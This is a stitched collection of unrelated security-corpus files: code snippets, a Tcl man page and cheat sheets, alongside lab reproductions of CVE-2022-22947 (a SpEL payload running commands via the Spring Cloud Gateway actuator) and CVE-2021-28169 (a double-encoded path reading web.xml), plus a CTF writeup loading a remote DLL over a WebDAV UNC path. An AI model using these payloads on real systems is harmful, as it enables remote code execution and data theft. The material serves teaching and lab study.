如果数组元素允许重复,会出现一个特殊的情况:nums[l] == nums[m] == nums[h],此时无法确定解在哪个区间,需要切换到顺序查找。例如对于数组 {1,1,1,0,1},l、m 和 h 指向的数都为 1,此时无法知道最小数字 0 在哪个区间。
```java
public int minNumberInRotateArray(int[] nums) {
if (nums.length == 0)
return 0;
int l = 0, h = nums.length - 1;
while (l < h) {
int m = l + (h - l) / 2;
if (nums[l] == nums[m] && nums[m] == nums[h])
return minNumber(nums, l, h);
else if (nums[m] <= nums[h])
h = m;
else
l = m + 1;
}
return nums[l];
}
private int minNumber(int[] nums, int l, int h) {
for (int i = l; i < h; i++)
if (nums[i] > nums[i + 1])
return nums[i + 1];
return nums[l];
}
```
|
sec-knowleage
|
# Writeup BCTF 2016
Team: akrasuski1, c7f.m0d3, cr019283, graszka, msm, nazywam, other019, rev, shalom
### Table of contents
* ruin (exploit, 200)
* irc (misc, 10)
* catvideo (stegano, 150)
* Special RSA (crypto, 200)
* memo (exploit, 300)
* BetaFour (ppc, 500)
* bcloud (exploit, 150)
* [zerodaystore (misc, 200)](misc_200_zerodaystore)
* [hsab (misc, 250)](misc_200_hsab)
|
sec-knowleage
|
/*
* Copyright 2015-2018 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package example.users;
import java.util.Optional;
import javax.transaction.Transactional;
import lombok.RequiredArgsConstructor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.Pageable;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;
import org.springframework.util.Assert;
/**
* Domain service to register {@link User}s in the system.
*
* @author Oliver Gierke
*/
@Transactional
@Service
@RequiredArgsConstructor
public class UserManagement {
private final UserRepository repository;
private final PasswordEncoder encoder;
/**
* Registers a {@link User} with the given {@link Username} and {@link Password}.
*
* @param username must not be {@literal null}.
* @param password must not be {@literal null}.
* @return
*/
public User register(Username username, Password password) {
Assert.notNull(username, "Username must not be null!");
Assert.notNull(password, "Password must not be null!");
repository.findByUsername(username).ifPresent(user -> {
throw new IllegalArgumentException("User with that name already exists!");
});
Password encryptedPassword = Password.encrypted(encoder.encode(password));
return repository.save(new User(username, encryptedPassword));
}
/**
* Returns a {@link Page} of {@link User} for the given {@link Pageable}.
*
* @param pageable must not be {@literal null}.
* @return
*/
public Page<User> findAll(Pageable pageable) {
Assert.notNull(pageable, "Pageable must not be null!");
return repository.findAll(pageable);
}
/**
* Returns the {@link User} with the given {@link Username}.
*
* @param username must not be {@literal null}.
* @return
*/
public Optional<User> findByUsername(Username username) {
Assert.notNull(username, "Username must not be null!");
return repository.findByUsername(username);
}
}
|
sec-knowleage
|
# Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)
[中文版本(Chinese version)](README.zh-cn.md)
Spring Cloud Gateway provides a library for building an API Gateway on top of Spring WebFlux.
Applications using Spring Cloud Gateway in the version prior to 3.1.0 and 3.0.6, are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
References:
- <https://tanzu.vmware.com/security/cve-2022-22947>
- <https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/>
## Vulnerability Environment
Execute the following command to start a server that uses Spring Cloud Gateway 3.1.0:
```
docker compose up -d
```
After server is started, browse the `http://your-ip:8080` to see an example page.
## Vulnerability Reproduce
Firstly, send the following request to add a router which contains an evil SpEL expression:
```
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
```

Secondly, refresh the gateway. The SpEL expression will be executed in this step:
```
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

Thirdly, send the following request to retrieve the result:
```
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

Afterward, send a DELETE request to remove our evil router:
```
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
```

Finally, refresh the gateway again:
```
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
|
sec-knowleage
|
# LoadMe
> We have developed a super soft that gives meal ideas based on ingredients. The service is still in beta but the interface should look like this:
>
> nc loadme.insomnihack.ch 1337
Even though it's supposed to be a pwn challenge we get no binary to reverse engineer.
```
$ nc loadme.insomnihack.ch 1337
██╗███╗ ██╗███████╗ ██████╗ ███╗ ███╗███╗ ██╗██╗ ██╗ ██╗ █████╗ ██████╗██╗ ██╗
██║████╗ ██║██╔════╝██╔═══██╗████╗ ████║████╗ ██║██║ ██║ ██║██╔══██╗██╔════╝██║ ██╔╝
██║██╔██╗ ██║███████╗██║ ██║██╔████╔██║██╔██╗ ██║██║ ███████║███████║██║ █████╔╝
██║██║╚██╗██║╚════██║██║ ██║██║╚██╔╝██║██║╚██╗██║██║ ██╔══██║██╔══██║██║ ██╔═██╗
██║██║ ╚████║███████║╚██████╔╝██║ ╚═╝ ██║██║ ╚████║██║ ██║ ██║██║ ██║╚██████╗██║ ██╗
╚═╝╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
Welcome to the cookery recipe Generator:
Please give a comma-separated list of ingredients:
```
The service asks for a list, prints it back and terminates:
```
< Please give a comma-separated list of ingredients:
> cement,sand,gravel,water
< cement,sand,gravel,water
< Sorry, the kitchen is currently closed
```
The obvious next step is to try a payload like this one:
```
< Please give a comma-separated list of ingredients:
> ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
```
And this time we get a nice error message along with a stack trace:
```
WARNING Unable to load the dll ,,,,,,,,,,,
CookeryRecipe.exe caused an Access Violation at location 000000005ED5D491 in module wow64.dll DEP violation at location 0000000000000000.
Registers:
eax=00000000 ebx=000b9020 ecx=2b3a867b edx=00000000 esi=000b90e0 edi=013ff944
eip=00000000 esp=013ff86c ebp=013ff968 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
AddrPC Params
00000000 00000000 000BA627 00000001
000B1750 00000018 017110A4 017110CC CookeryRecipe.exe!main [/work/src/CookeryRecipe.c @ 65]
000B1396 00000000 00000000 000B14C0 CookeryRecipe.exe!__tmainCRTStartup [/usr/src/mxe/tmp-gcc-i686-w64-mingw32.static/gcc-11.2.0.build_/mingw-w64-v9.0.0/mingw-w64-crt/crt/crtexe.c @ 321]
73FB62C4 011A7000 2A057C0F 00000000 kernel32.dll!0x162c4
772B1B69 FFFFFFFF 772D33EE 00000000 ntdll.dll!0x61b69
772B1B34 000B14C0 011A7000 00000000 ntdll.dll!0x61b34
```
The warning is especially interesting, because it suggests we can try to make it load a library with a specified name,
which we most likely overwrote providing an input of more than 64 characters.
We've tried to load a library that should load on every Windows system (for example `user32.dll`) and although the app
still crashes with a stracktrace, the warning about not being able to load the dll doesn't show up anymore.
Then we remembered a nifty trick when exploiting Windows challenges at CTFs (especially at onsite events): if we can
somehow invoke a `LoadLibrary` with our own library hosted on a network share, we immediately gain code execution that's
very convenient to use (after all, that's just C code written by us).
Just like before with `user32.dll` we've tried providing a UNC path to a publicly hosted library:
```
< Please give a comma-separated list of ingredients:
> ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\live.sysinternals.com\tools\autorunsc.exe
< ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\live.sysinternals.com\tools\autorunsc.exe
< CookeryRecipe.exe caused an Access Violation at location 000000005ED5D491 in module wow64.dll DEP violation at location 0000000000000000.
```
And again, there is no warning about not being able to load the library and, what confirms our suspicions that it is
indeed an invocation of `LoadLibary` with an argument provided by us, a few seconds delay (most likely to download the
binary) before the program continued.
We decided it's time to write a library of our own:
```c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
system("dir");
ExitProcess(1);
}
```
Which then can be cross-compiled to a 32-bit Windows library on Linux with mingw:
```
$ i686-w64-mingw32-g++ kodzik.c -s -shared -o kodzik.dll
```
Last thing we needed to do was to host a public SMB share and lost an hour trying to do so. It turns out that many ISPs
and hosting providers just outright block ports 139 and 445. And rightly so, because the world had enough problems with
vulnerabilities in popular SMB implementations (including Wannacry with its SMB `EternalBlue` exploit). But while looking
at `tcpdump` output trying to debug SMB connectivity we also saw a connection attempt to the tcp/80 port. Quick Google
search revealed that Windows might also try to use WebDAV while resolving UNC paths and that we can even specify
a custom port in the path itself: `\\1.2.3.4@8080\path\to\a\file.dll`.
Knowing that we've set up a WebDAV share using Apache and tried to load our library with the task service:
```
< Please give a comma-separated list of ingredients:
> ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\1.2.3.4@8080\data\kodzik.dll
< ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\1.2.3.4@8080\data\kodzik.dll
< Volume in drive C is OS
< Volume Serial Number is 4A1B-C069
<
< Directory of C:\Users\Public\loadme
<
< 01/28/2022 05:08 PM <DIR> .
< 01/28/2022 05:08 PM <DIR> ..
< 01/28/2022 04:19 PM <DIR> bin
< 11/24/2021 04:20 PM 186 guardian.bat
< 01/28/2022 05:90 PM 3,290 guardian.ps1
...
```
Only thing left was to find a file with the flag and print it out:
`INS{S0M3T1M3S-PWN-DOES-NOT-REQUIRE-REGISTERS}`.
More like a misc than a pwn if you ask us, but...
|
sec-knowleage
|
# Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability (CVE-2021-28169)
[中文版本(Chinese version)](README.zh-cn.md)
Eclipse Jetty is a Java web server and Java Servlet container.
Before version 9.4.40, 10.0.2, 11.0.2, the `ConcatServlet` and `WelcomeFilter` classes in Jetty Servlets are influenced by a double decoding bug. If developers use these two classes manually, attackers can use them to download arbitrary sensitive files in the WEB-INF directory.
Reference links.
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
## Vulnerable Application
Execute the following command to start a Jetty 9.4.40 server.
```
docker compose up -d
```
After the server starts, visit ``http://your-ip:8080`` to see an example page. This page uses the `ConcatServlet` to optimize the loading of static files:
```
<link rel="stylesheet" href="/static?/css/base.css&/css/app.css">
```
## Exploit
The sensitive file web.xml is not accessible through `/static?/WEB-INF/web.xml`.

Double URL encoding `W` to bypass the restriction:
```
curl -v 'http://your-ip:8080/static?/%2557EB-INF/web.xml'
```

|
sec-knowleage
|
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<link rel="stylesheet" href="static/app.css">
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
|
sec-knowleage
|
---
title: PhpStorm
date: 2022-11-23 16:23:31.703719
background: bg-gradient-to-r from-[#be4fe9] to-[#715bef] hover:from-emerald-400 hover:to-blue-500
label:
tags:
- jetbrains
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 96 keyboard shortcuts found in JetBrains PhpStorm
---
Keyboard Shortcuts
------------------
### Editing {.row-span-4}
Shortcut | Action
---|---
`Ctrl` `Space` | Basic code completion
`Alt` `Enter` | Show intention actions and quick-fixes
`Ctrl` `P` | Parameter info (within method call arguments)
`Ctrl` `Q` | Quick documentation lookup
`Ctrl` `(mouse over code)` | Brief Info
`Alt` `Insert` | Generate code... (Getters, Setters, Constructors)
`Ctrl` `O` | Override methods
`Ctrl` `I` | Implement methods
`Ctrl` `Alt` `T` | Surround with...(if..else, try..catch, for, etc.)
`Ctrl` `/` | Comment/uncomment with line comment
`Ctrl` `Shift` `/` | Comment/uncomment with block comment
`Ctrl` `W` | Select successively increasing code blocks
`Ctrl` `Shift` `W` | Decrease current selection to previous state
`Ctrl` `Alt` `L` | Reformat code
`Ctrl` `Alt` `I` | Auto-indent line(s)
`Ctrl` `D` | Duplicate current line or selected block
`Ctrl` `Y` | Delete line at caret
`Ctrl` `Shift` `J` | Smart line join (HTML and JavaScript only)
`Ctrl` `Enter` | Smart line split (HTML and JavaScript only)
`Shift` `Enter` | Start a new line
`Ctrl` `Shift` `U` | Toggle case for word at caret or selected block
`Ctrl` `Shift` `[` | Select till code block start
`Ctrl` `Shift` `]` | Select till code block end
`Ctrl` `Delete` | Delete to word end
`Ctrl` `Backspace` | Delete to word start
`Ctrl` `+/-` | Expand/collapse code block
`Ctrl` `F4` | Close active editor tab
`Ctrl` `Shift` `V` | Paste from history
{.shortcuts}
### Debugging
Shortcut | Action
---|---
`F8` | Step over
`F7` | Step into
`Shift` `F8` | Step out
`Alt` `F8` | Evaluate expression
`F9` | Resume program
`Ctrl` `F8` | Toggle breakpoint
`Ctrl` `Shift` `F8` | View breakpoints
{.shortcuts}
### Running
Shortcut | Action
---|---
`Shift` `F10` | Run
`Shift` `F9` | Debug
`Ctrl` `Shift` `F10` | Run context configuration from editor
`Ctrl` `Shift` `X` | Run command line
{.shortcuts}
### Search/Replace
Shortcut | Action
---|---
`Ctrl` `F/R` | Find/Replace
`F3` | Find next
`Shift` `F3` | Find previous
`Ctrl` `Shift` `F/R` | Find/Replace in path
{.shortcuts}
### Usage Search
Shortcut | Action
---|---
`Alt` `F7` | Find usages
`Ctrl` `F7` | Find usages in file
`Ctrl` `Shift` `F7` | Highlight usages in file
`Ctrl` `Alt` `F7` | Show usages
{.shortcuts}
### Navigation {.row-span-2}
Shortcut | Action
---|---
`Ctrl` `N` | Go to class
`Ctrl` `Shift` `N` | Go to file
`Ctrl` `Shift` `Alt` `N` | Go to symbol
`Ctrl` `G` | Go to line
`Alt` `Left/Right` | Go to next/previous editor tab
`Esc` | Go to editor (from tool window)
`Ctrl` `E` | Recent files popup
`Ctrl` `Alt` `Left/Right` | Navigate back/forward
`Ctrl` `Shift` `Backspace` | Navigate to last edit location
`Alt` `F1` | Select current file or symbol in any view
`Ctrl` `B` | Go to declaration
`Ctrl` `Alt` `B` | Go to implementation(s)
`Ctrl` `Shift` `I` | Open quick definition lookup
`Ctrl` `Shift` `B` | Go to type declaration
`Ctrl` `U` | Go to super-method/super-class
`Alt` `Up/Down` | Go to previous/next method
`Ctrl` `]/[` | Move to code block end/start
`F2` | Next highlighted error
`Shift` `F2` | Previous highlighted error
`F4` | Edit/view source
{.shortcuts}
### Refactoring
Shortcut | Action
---|---
`F5/F6` | Copy/Move
`Alt` `Delete` | Safe delete
`Shift` `F6` | Rename
`Ctrl` `Alt` `N` | Inline variable
`Ctrl` `Alt` `M/V/F/C` | Extract Method/Variable/Field/Constant
`Ctrl` `Alt` `Shift` `T` | Refactor This (shows all available refactorings)
{.shortcuts}
### VCS/Local History
Shortcut | Action
---|---
`Alt` <code>\`</code> | VCS quick popup
`Ctrl` `K` | Commit project to VCS
`Ctrl` `T` | Update project from VCS
`Alt` `Shift` `C` | View recent changes
{.shortcuts}
### General
Shortcut | Action
---|---
`Shift x2` | Search everywhere
`Ctrl` `Shift` `A` | Find Action
`Alt` `1-9` | Open corresponding tool window
`Ctrl` `Alt` `F11` | Toggle full screen mode
`Ctrl` `Shift` `F12` | Toggle maximizing editor
`Alt` `Shift` `F` | Add to Favorites
`Alt` `Shift` `I` | Inspect current file with current profile
`Ctrl` `Alt` `S` | Open Settings dialog
`Ctrl` `Tab` | Switch between tabs and tool window
{.shortcuts}
### Live Templates/Snippets
Shortcut | Action
---|---
`Ctrl` `J` | Insert Live Template
`eco` | 'echo' statement
`fore` | foreach(iterable_expr as $value) {...}
`forek` | foreach(iterable_expr as $key => $value) {...}
`inc/inco` | 'include'/'include_once' statement
`prif` | private function
`prof` | protected function
`pubf` | public function
`rqr/rqro` | 'require'/'require_once' statement
{.shortcuts}
### Misc
Shortcut | Action
---|---
`Ctrl` `Shift` `A` | Find Action
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for PhpStorm](https://resources.jetbrains.com/storage/products/phpstorm/docs/PhpStorm_ReferenceCard.pdf) _(resources.jetbrains.com)_
|
sec-knowleage
|
'\"
'\" Copyright (c) 1997 by Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: binary.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: binary.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH binary 3tcl 8.0 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
binary \- 从(向)二进制串插入和提取字段
.SH 总览 SYNOPSIS
\fBbinary format \fIformatString \fR?\fIarg arg ...\fR?
.br
\fBbinary scan \fIstring formatString \fR?\fIvarName varName ...\fR?
.BE
.SH 描述 DESCRIPTION
.PP
这个命令提供操纵二进制数据的设施。第一种形式是 \fBbinary format\fR,从普通的 Tcl 值来建立一个二进制串。例如,给出值 16 和 22,可以产生一个8字节的二进制串,由两个4字节的整数组成。第二种形式是 \fBbinary scan\fR,做相反的事: 从一个二进制串中提取出数据并作为通常的 Tcl 字符串值而返回。
.SH "二进制化 BINARY FORMAT"
.PP
\fBbinary format\fR 命令生成一个二进制串,其格式由 \fIformatString\fR 指定,它的内容来(自在后面)增添的参数。返回结果二进制值。
.PP
\fIformatString\fR 由零个或多个字段说明符(specifier)的序列组成,用零个或多个空格分隔。每个说明符都是一个单独的类型字符,跟随着一个可选的数值 \fIcount\fR。多数字段说明符消耗(consume)一个参数来获取被格式化的值。类型字符指定如何格式化值。\fIcount\fR 典型的指示从值中接受了多少个指定类型的单项(item)。如果\fIcount\fR 存在,则是一个非负十进制整数或 \fB*\fR,星号通常指示使用在值中所有的单项。如果参数的个数不匹配在消耗参数的这些格式串中的字段的个数,则产生一个错误。
.PP
每个类型-数目(type-count)对在二进制串上移动一个假想的游标,在当前的位置上存储一些字节并且游标前进到最近存储的字节的紧后面。游标初始在位置 0 也就是在数据的开始(端)。类型可以是下列字符中的任意一个:
.IP \fBa\fR 5
在输出串中存储长度是 \fIcount\fR 的一个字符串。如果 \fIarg\fR 比 \fIcount\fR 的字节数少,则有增补的零字节来填充字段。如果 \fIarg\fR 比指定长度多,忽略额外的字符。如果 \fIcount\fR 是 \fB*\fR, 则格式化在 \fIarg\fR 中的所有字节。如果省略了 \fIcount\fR ,则格式化一个字符。例如,
.RS
.CS
\fBbinary format a7a*a alpha bravo charlie\fR
.CE
将返回等价于 \fBalpha\\000\\000bravoc\fR的一个串。
.RE
.IP \fBA\fR 5
除了使用空格而不是空字符来填充之外,这种形式同于 \fBa\fR。例如,
.RS
.CS
\fBbinary format A6A*A alpha bravo charlie\fR
.CE
将返回 \fBalpha bravoc\fR.
.RE
.IP \fBb\fR 5
在输出串中存储 \fIcount\fR 个二进制数字的一个串,并且在每个字节中以从低到高的次序(来排序)。\fIArg\fR 必须包含一个 \fB1\fR 和 \fB0\fR 字符的一个序列。以从最先到最后的次序散布(emit)结果字节,并且以在每个字节中以从低到高的次序格式化每位。如果 \fIarg\fR 比 \fIcount\fR 的位数少,则剩余的位使用零。如果 \fIarg\fR 比指定的位数多,忽略额外的位。如果 \fIcount\fR 是 \fB*\fR, 则格式化在 \fIarg\fR 中所有的位。如果省略了 \fIcount\fR,则格式化一位。如果如果格式化的位数不结束在字节边界上,最后的字节的剩余的位将是零。例如,
.RS
.CS
\fBbinary format b5b* 11100 111000011010\fR
.CE
将返回等价于 \fB\\x07\\x87\\x05\fR的一个串。
.RE
.IP \fBB\fR 5
除了在每个字节中以从高到低的次序(来排序)之外,这种形式同于 \fBb\fR。例如,
.RS
.CS
\fBbinary format B5B* 11100 111000011010\fR
.CE
将返回等价于 \fB\\xe0\\xe1\\xa0\fR的一个串。
.RE
.IP \fBh\fR 5
在输出串中存储 \fIcount\fR 个十六进制的数字的一个串,并且在每个字节中以从低到高的次序(来排序)。\fIArg\fR 必须包含在“0123456789abcdefABCDEF”(字符)集中的字符的一个序列。以从最先到最后的次序散布(emit)结果字节,并且在每个字节中以从低到高的次序格式化十六进制数字。如果 \fIarg\fR 比 \fIcount\fR 的数字个数少,则剩余的数字使用零。如果 \fIarg\fR 比指定的数字的个数多,忽略额外的数字。如果 \fIcount\fR 是 \fB*\fR,则格式化在 \fIarg\fR 中所有的数字。如果省略了 \fIcount\fR ,则格式化一个数字。如果格式化的数字的个数不结束在一个字节的边界上,最后的字节的剩余的位将是零。例如,
.RS
.CS
\fBbinary format h3h* AB def\fR
.CE
将返回等价于 \fB\\xba\\x00\\xed\\x0f\fR的一个串。
.RE
.IP \fBH\fR 5
除了在每个字节中以从高到低的次序(来排序)之外,这种形式同于 \fBh\fR 。例如,
.RS
.CS
\fBbinary format H3H* ab DEF\fR
.CE
将返回等价于 \fB\\xab\\x00\\xde\\xf0\fR的一个串。
.RE
.IP \fBc\fR 5
在输出串中存储一个或多个8位整数值。如果未指定 \fIcount\fR,则 \fIarg\fR 必须包含一个整数值;否则 \fIarg\fR 必须包含至少有一个整数元素的一个列表。在当前的位置上把每个整数的低位(low-order)的 8 位存储成一个一字节的值。如果 \fIcount\fR 是 \fB*\fR,则格式化在列表中所有的整数。如果在列表中的元素的个数比 \fIcount\fR 少,则产生一个错误。 如果在列表中的元素的个数比 \fIcount\fR 多,则忽略额外的元素。例如,
.RS
.CS
\fBbinary format c3cc* {3 -3 128 1} 260 {2 5}\fR
.CE
将返回等价于 \fB\\x03\\xfd\\x80\\x04\\x02\\x05\fR 的一个串。而
.CS
\fBbinary format c {2 5}\fR
.CE
将产生一个错误。
.RE
